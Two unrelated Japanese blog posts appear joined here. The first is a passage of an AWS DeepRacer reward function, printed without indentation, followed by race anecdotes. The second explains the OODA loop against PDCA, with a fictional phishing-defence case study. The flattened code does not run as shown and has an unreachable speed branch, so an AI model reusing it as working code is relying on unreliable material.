DIRECTION_THRESHOLD2 = 3.0
ABS_STEERING_THRESHOLD = 7
marker_1 = 0.1 * track_width
marker_2 = 0.2 * track_width
marker_3 = 0.5 * track_width
# 変数の初期化
reward = 0.3
steering_reward = 1.0
speed_reward = 1.0
progress_per_steps_reward = 0
progress_reward = 1.0
### 各報酬付与関数の実装 ###
# 車両がトラックラインの外側に出たら終了
if not all_wheels_on_track:
reward = MIN_REWARD
return reward
# 直線の第一区間および第十区間
# スタートおよびゴール付近は直線なので、センターラインに近く、速度が速ければ速いほど報酬
# headingの向きがX軸に平行なら加点
# センターラインに近ければ得点を増やさせる
if 2.5 <= x <= 7.0 and y <= -1.5:
if distance_from_center <= marker_1:
reward = 1.3
elif distance_from_center <= marker_2:
reward = 1.0
elif distance_from_center <= marker_3:
reward = 0.05
# スタート付近は直線なので、センターラインに近く、速度が速ければ速いほど報酬
if speed < SPEED_THRESHOLD3:
speed_reward = 0.05
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 1.1
elif SPEED_THRESHOLD4 < speed:
speed_reward = 1.5
# headingの向きがX軸に平行で右向きなら加点
if -4 < heading < 4:
steering_reward = 1.3
# 緩やかな左カーブの第二区間
# 通れたらプログレスにちょっとだけ報酬
# スピードで報酬
if x > 7.0 and y < -1.0:
# 常に生存報酬
reward = 1.3
# 緩やかなカーブなので速度が早ければ報酬、遅すぎたらペナルティ
if speed < SPEED_THRESHOLD3:
speed_reward = 0.05
elif speed < SPEED_THRESHOLD4:
speed_reward = 1.1
elif SPEED_THRESHOLD4 <= speed:
speed_reward = 1.3
# タイヤの方向が左を向いていたら報酬
if 0 <= steering_angle:
steering_reward = 1.3
else:
steering_reward = 0.2
progress_reward = 1.05
# ほぼ直線の第三区間
# 報酬は速度とセンターラインへの近さ
if 7 <= x and -1.0 <= y <= 1.2:
# カーブを安定させるために、センターラインに近ければ報酬増加
if distance_from_center <= marker_1:
reward = 1.3
elif distance_from_center <= marker_2:
reward = 0.8
elif distance_from_center <= marker_3:
reward = 0.1
# 速度報酬
if speed < SPEED_THRESHOLD3:
speed_reward = 0.5
elif speed < SPEED_THRESHOLD4:
speed_reward = 1.1
elif SPEED_THRESHOLD4 <= speed:
speed_reward = 1.3
# 急な左カーブの第四区間
# 速すぎたらペナルティ
# タイヤの方向が左を向いていたら報酬
# progressに報酬増
if 6 <= x and 1.2 < y:
# 常に生存報酬
reward = 1.3
if speed < SPEED_THRESHOLD1:
speed_reward = 0.9
elif speed < SPEED_THRESHOLD2:
speed_reward = 1.3
elif speed < SPEED_THRESHOLD3:
speed_reward = 1.3
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 0.1
# タイヤの方向が左を向いていたら報酬
if 0 <= steering_angle:
steering_reward = 1.3
else:
steering_reward = 0.2
# progressに報酬増
progress_reward = 1.1
# 急激な右カーブの第五区間
if 6 <= x <= 7 and -1.5 < y <= 1.2:
# 常に生存報酬
reward = 1.4
# 速すぎたらペナルティ
if speed < SPEED_THRESHOLD1:
speed_reward = 1.2
elif speed < SPEED_THRESHOLD2:
speed_reward = 1.1
elif speed < SPEED_THRESHOLD3:
speed_reward = 0.1
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 0.1
# タイヤの方向が右を向いていたら報酬
if steering_angle <= 0:
steering_reward = 1.0
else:
steering_reward = 0.2
# progressに報酬増
progress_reward = 1.2
# 5と6の間のフリーな区間
if 5 < x < 6 and -1.5 <= y:
# 常に生存報酬
reward = 1.4
if speed < SPEED_THRESHOLD1:
speed_reward = 0.1
elif speed < SPEED_THRESHOLD2:
speed_reward = 1.3
elif speed < SPEED_THRESHOLD3:
speed_reward = 1.1
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 0.1
# progressに報酬増
progress_reward = 1.1
# カーブを安定させるために、センターラインに近ければ報酬増加
if distance_from_center <= marker_1:
reward = 1.3
elif distance_from_center <= marker_2:
reward = 1.0
elif distance_from_center <= marker_3:
reward = 0.05
# ぐねぐねの第六区間
# 速度報酬
# headingの向きをなるべく平行にしたら報酬増
if 3 <= x <= 5 and -1 <= y:
# 常に生存報酬
reward = 1.4
# ぐねぐねしているが早ければ報酬、遅すぎたらペナルティ
if speed < SPEED_THRESHOLD2:
speed_reward = 0.5
elif SPEED_THRESHOLD2 < speed:
speed_reward = 1.1
# ジグザグ抑制
if steering_angle < ABS_STEERING_THRESHOLD:
steering_reward = 1.2
# progressに報酬増
progress_reward = 1.1
# ぐねぐね明け左カーブの第七区間
if x < 3 and -1.2 <= y:
# 常に生存報酬
reward = 1.3
# 緩やかなカーブなので速度が早ければ報酬、遅すぎたらペナルティ
reward = 1.3
if speed <= SPEED_THRESHOLD1:
speed_reward = 0.1
elif speed < SPEED_THRESHOLD2:
speed_reward = 0.9
elif speed < SPEED_THRESHOLD3:
speed_reward = 1.1
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 0.1
# タイヤの方向が左を向いていたら報酬
if 0 <= steering_angle:
steering_reward = 1.2
else:
steering_reward = 0.1
progress_reward = 1.05
# カーブ前若干ストレートの第八区間
if x <= 2.5 and -1.7 <= y < -1.2:
# カーブを安定させるために、センターラインに近ければ報酬増加
if distance_from_center <= marker_1:
reward = 1.3
elif distance_from_center <= marker_2:
reward = 1.1
elif distance_from_center <= marker_3:
reward = 0.05
# 速度が速ければ速いほど報酬だが、速すぎたらペナルティ
if speed <= SPEED_THRESHOLD1:
speed_reward = 0.1
elif speed < SPEED_THRESHOLD2:
speed_reward = 0.9
elif speed < SPEED_THRESHOLD3:
speed_reward = 1.1
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 0.1
# headingの向きがY軸に平行で下向きなら加点
if -95 < heading < -85:
steering_reward = 1.2
# 最後の左カーブの第九区間
# 周回を安定させるために、センターラインに近いと報酬増加
# 速度が速ければ速いほど報酬だが、速すぎたらペナルティ
if x <= 2.5 and y < -1.7:
# 周回を安定させるために、センターラインに近いと報酬増加
if distance_from_center <= marker_1:
reward = 1.3
elif distance_from_center <= marker_2:
reward = 1.1
elif distance_from_center <= marker_3:
reward = 0.05
# 速度が速ければ速いほど報酬だが、速すぎたらペナルティ
if speed <= SPEED_THRESHOLD1:
speed_reward = 0.1
elif speed < SPEED_THRESHOLD2:
speed_reward = 0.1
elif speed < SPEED_THRESHOLD3:
speed_reward = 1.1
elif SPEED_THRESHOLD3 <= speed:
speed_reward = 1.2
# タイヤの方向が左を向いていたら報酬
if 0 <= steering_angle:
steering_reward = 1.2
else:
steering_reward = 0.2
progress_reward = 1.05
# すべてに共通して、進んでいるのでプラス
reward += progress * progress_reward / 200
reward += steering_reward
reward += speed_reward
# waypoint考慮して、角度が頭の向きとズレすぎていたらペナルティ
next_point = waypoints[closest_waypoints[1]]
prev_point = waypoints[closest_waypoints[0]]
track_direction = math.atan2(next_point[1] - prev_point[1], next_point[0] - prev_point[0])
track_direction = math.degrees(track_direction)
direction_diff = abs(track_direction - heading)
if direction_diff > DIRECTION_THRESHOLD2:
reward += 0.2
elif direction_diff <=DIRECTION_THRESHOLD2:
reward += 1.1
reward *= 0.85
return reward
実際に実装して、DeepRacerの走行シミュレータをかけるとわかるのですが、
Validateをクリアしたコードは構文に問題がないことは保障されていますが、
本当に機能しているのか、についてはシミュレータのカメラからは一切判断できません。
そこでログを吐き出す処理を実装する必要があるんですね。(実装するだけではなく、CloudWatchでログを見るまでが必須)
検証で良い結果がでてるからと言ってサボってはいけません。
とても大事なことです。(22敗)
本当です。
ログを吐き出す実装はちゃーんとif文のtrue と false 側に実装しましょう。
if :
print("Nice Handling")
else :
print("Bad Handling")
時折、バグというより仕様(?)のような現象がみられます。
コースアウトした後、コース内に戻らずずっと木にぶつかったままの状態になる
一周すると、しばらく止まって、動き出すが、まっすぐ突き進んでコースアウトする。
いい感じに仕上がってますね~
DeepRacerを初めた頃、
自分が実装したかわいいかわいいDeepRacerちゃんが、壁(コースアウト)にぶつかりながらも懸命に前へ前へ進んでいく様を眺めることができ、ウットリできて、本当にかわいいです。
しかし、ある程度AIがルール(一周することが大事、コースアウトはしてはいけない)などを覚えた中盤以降、成績が伸び悩むと腹が立ちます。
例えば、「この部分工夫したアルゴリズム実装したら早くなる」、「完走率が上がる」などと人間が期待して夜な夜な実装し、走らせて、検証すると、実装前よりも成績が悪化している といった現象も多くみられます。
2019年6月12日、初めてのリアルレースができると胸を高鳴らせて意気揚々と望みました。 会場に到着し、いざDeepRacerのBoothへ そこに待ち受けていたのは、、、、コース「"re:invent2018"」
AWSサミットで行うリアルレースではお決まりのコースですね。
kumo Torakku にお金と時間費やしていたような 方はいませんよね?(煽り
ん?
あれ?!!!!!!!!!!!!!!!!!
はい、学習させるコース、間違えました。
今頃反省しても遅いので、エンジン全開です。(ブオォォォォォォオンン!!!!!!
走らせる予定だったモデル(シミュレータでKumo Torakkuの練習をしたもの)に
シミュレータにて"re:invent2018"を走らせてみると、軽々と完走していたので、
そこまで大きな問題ではなかったとして、レースに臨みました。
以下、箇条書きの感想です。
27万円 ※3人同時に学習を行ったため。
https://aws.amazon.com/jp/blogs/news/aws-deepracer-delete-resources/
S3 バケットの削除と[Reset resources]をお忘れなく。
一番良いモデル や 派生していきたいモデル だけを残して他のモデルを削除してしまいましょう。
DeepRacerのリアル大会で1位を取るのは、かなりの労力とお金、時間が必要なので、
本当にラスベガスに行きたいのなら、チケットを買って普通の手段でラスベガスに行きましょう!
こんにちは、みゅーろっくまるです。
2019年の推しアニメは マナリアフレンズ です。
SEの皆さんセキュリティ対策進めていますか?
え?ちっとも進まない?
上司から「PDCA回してるのか?(# ゚Д゚)」って怒られる?
大変ですね。
今回は、そんなあなたに、今話題(らしい)本をご紹介します。
こんなのです。
うーだ?ってなに?って方、ざっくり説明します。
皆さんPDCAサイクルはご存知ですよね。
知らない方の為に説明すると、下記のようなサイクルを繰り返して仕事を進めろという、いにしえの教えです。
P | Plan | 計画 |
---|---|---|
D | Do | 試行 |
C | Check | 確認 |
A | Action | 実施 |
OODAは、それに近いものです。
もとは、米空軍の
ジョン・ボイド大佐が70〜80年代にかけて成立させた、空中戦で勝利を得るための方法論です。
今では米陸海軍(+海兵隊)や、多くの民間企業で参考にされています。
O | Observe(オブザーブ) | 観察 |
---|---|---|
O | Orient(オリエント) | 気づき[1]
Orientは、本来"神秘的な~"を意味し、OODAでは「気づき」「閃き」「認知」等様々な翻訳があります。 ヲタク風に翻訳すると「神キタ━━━━(゚∀゚)━━━━!!」に近いでしょうか。。。(え?違う?) |
D | Decide(ディサイド) | 決断 |
A | Act(アクト) | 実行 |
OODAは、本質的にはPDCAと同様のことを、別の視点で捉えています。
またPDCAはサイクルであり、OODAは考え方という意見もあるようです。
PDCAを使いこなせる方は、PDCAのままでいいと思います。
ただ、Pを大きく捉えすぎて、市場情勢もライバル動向も見ずにノルマをドンと積むような残念PDCAを回している方がもし居たら、OODAを学んで頂いたほうがいいかもしれません。。。
え?そもそもなんでアメリカがPDCAと別のもの作ってるんだって?
、、、というよりですね、実は、、、
PDCAは日本にしかありません
正確には、米国のトヨタ工場などでは使われているようですが、基本的には日本発のプロセス管理手法です。
もし海外赴任に出て、部下の外国人に「PDCA回せ」って言っても、「(゚Д゚)ハァ?」って顔されると思います。
少し中身の話をします。
OODAループは、敵機との空戦でいかに相手より先んじるかに重きを置いた考え方です。
勝利を得るためには、相手より
先んじた閃きと行動が必須だとジョン・ボイド大佐は考えていました。
OODAループでは、下記のような図がよく用いられます。
Patrick Edwin Moran License: CC BY 3.0
冒頭の本では、ランチェスターの法則を用いて、数字で帳尻を合わせた戦力比が、時間経過とともに如何に崩されていくかを示していました。
ジョン・ボイド大佐がOODA以前に作り出した空戦手法であるE-M理論でも、F-86FとMig-15の性能値を比較すると、Mig-15が勝利するという結果になるのですが、現実で強いのはF-86Fでした。
そこからE-M理論では「操縦しやすさ」「状況を変動させる力」という非数値に焦点が当たっていきます。
また、正しいOrientを得るには、新鮮で正確なObserveが必須です。
Feedbackが複数あることから分かる通り、必ずいつも
だけではなく、
の場合もあります。
また、上に「Implicit guidance & control」(暗黙のガイド&コントロール)とありますが、これは 「既知のものを阿吽の呼吸で素速く行う」という意図で設けられています。
過去に起きた問題は、その時の知見をもって
最速で解決するという意図です。
この場合は
となります。
OODAではO-O-Aだけになることが理想らしいです。
(とはいえ、決断のない作戦はありえませんが)
ゲームで例えると分かりやすいでしょうか。
新しいオンラインゲームがあったとして、プレイヤーが取る行動のうち、
は初見プレイやルーキー状態ということです。
で、ベテランプレイ
で、ランカー様のヌルゲー状態ということです。
ここまで読んでお気づきの方もいると思いますが、このループは
速さが命!!!
大半のゲームでは、多くのプレイヤーの優劣はスタートダッシュが明暗を分けますね。
これも同様に、そもそも敵戦闘機がいるという状況を想定しています。
敵もOODA-Loopを回しているのです。
敵より
速く!
速く!!回さなければ、勝利は得られないのです。
少々ふざけて聞こえるかもしれませんが、多くのビジネスパーソンの方々は、新商品などでライバル社に先を越され、自社商品が陳腐化する恐ろしさを私以上にご存知でしょう。
2018年12月某日
とある中堅企業、A社
ここに、社内セキュリティ全般を任されている7年目の若手社員O君がいます。
彼の1日は情報収集から始まります。
その日読んでいたセキュリティ系のニュースで、こんなものがありました。
【セキュリティ ニュース】2018年度上半期の標的型攻撃相談155件 - 添付ファイル暗号化、PW別送の手口に注意(1ページ目 / 全2ページ):Security NEXT 2018/11/26
かつて大流行した標的型攻撃(フィッシングメールや怪しい添付ファイル)が、また増えているというのです。
しかも今度は、個々の企業向けに如何にもそれらしいメールを出してくる手口だというのです。
彼はふと思い立ちます。
「そういえば、自分が入社した当初は怪しいメールを開くなという指導があったけど、最近はどうか?
ここ数年の全社セキュリティ講習では、メールについては誤送信防止と情報流出の指導に重点を置いていないか?」
「ベテラン社員は定年退職で辞めていき、過去のノウハウとなっていないか?」
「若手社員は怪しいメールがあったらきちんと通報してくれるだろうか?
毎四半期実施の抜き打ち不審メール訓練の結果を見てみよう」
A社には、全社員からランダムに抽出した社員にダミーの不審メールを送る、抜き打ち訓練制度があります。ですが近年の結果は、、、?
「ああ!やっぱりベテラン社員は通報してくれるけど、若手社員は通報実績ゼロだ!!」
彼は上司に掛け合います。
「若手社員はフィッシングメールに慣れていません。近年再び被害が増しており、以前よりも更にそれらしいメールで罠に掛けようとしてきます。」
「次回の全社セキュリティ講習は、フィッシングメールの事例、通報制度の周知を重点にやりましょう」
上司は
「じゃあ次回の全社セキュリティ講習は君が担当ね」
といいます。
「、、、え?」
彼は渋々ながら承諾します。まあそのほうが早いですし。
話はトントン拍子に進みました。
2019年1月某日
今季の全社セキュリティ講習が行われました。
過去のフィッシングメールの事例と近年の傾向が紹介され、
改めて通報制度があることが周知されました。
アンケートの結果、多くの若手社員は通報制度を「知らなかった」と答え、講習の効果が確認されました。
また、抜き打ち不審メール訓練も彼の提案で刷新されました。
これまで訓練で使用していた古いフィッシングメールパターンの他に、昨年流行した新しいパターンを追加。
更に、これまではアンチウイルスで検知可能な試験用ファイルを添付していましたが、今後は検知しないファイルを添付する新たな訓練ケースを追加。
結果、若手社員の通報率も上がり、数字ではベテラン社員を追い抜くまでになりました。
2019年4月某日
その日ある大きなニュースが舞い込みました。
ライバル会社のB社が、大口顧客のエンド個人情報を流出させ、謝罪会見が開かれるというものでした。
攻撃手法は、フィッシングメールの添付ファイルから実行されたマルウェアが、ファイル感染ではなくB社内システムの権限設定を緩め、侵入口を作成。
B社内統合アンチウイルスも統合ファイアウォールも検知できなかったという事例でした。
同様のメールは、A社にも届いていましたが、担当社員の見に覚えのないメールであったため社内通報されていました。
添付ファイルを解析依頼したところ、A社で使用しているシステムのバージョンに合わせた権限昇格を狙うOSコマンドを発行する、アンチウイルスシグネチャにないA社攻撃専用マルウェアと判明していました。
おそらくB社も同様の専用マルウェアに攻撃を受けたものと思われました。
彼は見事攻撃者に先んじたのでした。
※以上はフィクションです。
※これは2018年11月時点のニュースを元にしたセキュリティ対策のケーススタディです。現時点の最新情報ではありません。
上記のケーススタディは、あくまでも一例であり、実際には個々人が置かれている状況に応じて様々なloopの回し方が発生すると思います。
ですが、セキュリティ分野に限らず多くの社会人の方は、業務の中で自然と行っている内容ではないでしょうか?
逆に、ソフトウェア開発やビル建築など、既にやることがしっかり決まっているタスクの場合は、むしろPDCAの方が向いています。
OODAは、継続的な改善活動や、市場を捉える必要のあるマーケティング、旬の情報を取扱う執筆活動などに向いていると思います。
向き不向きをよく考慮し、ご自身でDecideしましょう。